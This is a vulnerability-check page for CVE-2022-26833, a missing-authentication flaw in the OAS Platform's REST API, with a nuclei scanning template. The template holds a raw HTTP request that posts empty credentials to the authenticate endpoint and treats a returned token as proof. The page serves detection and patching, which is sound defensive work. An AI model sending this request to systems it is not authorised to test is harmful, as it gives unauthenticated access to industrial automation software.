Open Automation Software OAS Platform V16.00.0121 - Missing Authentication

criticalseverity

9.4CVSS score

37.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the affected system.

Fix

Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.

How to confirm it

Send: POST /OASREST/v2/authenticate
Positive when: contains "\"status\":" and "\"data\":" and "\"token\":" and "\"clientid\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-26833 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-26833

info:
  name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication
  author: true13
  severity: critical
  description: |
    An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26833
    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2022-26833
    cwe-id: CWE-306
    epss-score: 0.37639
    epss-percentile: 0.98549
    cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openautomationsoftware
    product: oas_platform
  tags: cve2022,cve,oas,oss,unauth,openautomationsoftware,vkev,vuln

http:
  - raw:
      - |
        POST /OASREST/v2/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"username": "", "password": ""}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":'
          - '"data":'
          - '"token":'
          - '"clientid":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from